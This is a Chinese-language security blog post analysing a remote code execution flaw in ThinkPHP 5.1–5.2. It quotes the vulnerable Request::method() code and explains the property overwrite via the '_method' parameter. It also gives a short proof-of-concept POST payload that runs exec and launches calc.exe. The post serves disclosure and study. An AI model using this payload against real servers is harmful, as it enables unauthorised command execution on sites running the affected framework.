Thinkphp5.1 ~ 5.2 全版本远程代码执行漏洞

2019-01-15 19,477

序言

最近爆出了Thinkphp5.0.*全版本代码执行,其中5.1与5.2全版本在生产环境下下同样也存在代码执行


漏洞分析:

文件位置:\thinkphp\library\think\Request.php

  /**
     * 当前的请求类型
     * @access public
     * @param  bool $origin  是否获取原始请求类型
     * @return string
     */
    public function method($origin = false)
    {
        if ($origin) {
            // 获取原始请求类型
            return $this->server('REQUEST_METHOD') ?: 'GET';
        } elseif (!$this->method) {
            if (isset($_POST[$this->config['var_method']])) {
                $this->method    = strtoupper($_POST[$this->config['var_method']]);
                $method          = strtolower($this->method);
                $this->{$method} = $_POST;
            } elseif ($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')) {
                $this->method = strtoupper($this->server('HTTP_X_HTTP_METHOD_OVERRIDE'));
            } else {
                $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
            }
        }

        return $this->method;
    }

其中:

$this->method    = strtoupper($_POST[$this->config['var_method']]);
’$method          = strtolower($this->method);
$this->{$method} = $_POST;

$method变量是$this->method,其同等于POST的”_method”参数值

然后该处存在一个变量覆盖

我们可以覆盖 $filter 属性值(POC如下)

c=exec&f=calc.exe&&_method=filter&

访问如下图所示:

image.png

会爆出一个警告级别的异常,导致程序终止


如何触发:

如果设置忽略异常提示,如下图:

image.png

本身项目发布就需要屏蔽异常和错误所以这个配置是一个正常的配置


Payload(POST请求):

image.png


弹出计算器




本文作者:jkgh006

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/95248.html

Tags:
评论  (0)
快来写下你的想法吧!

jkgh006

文章数:2 积分: 27

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号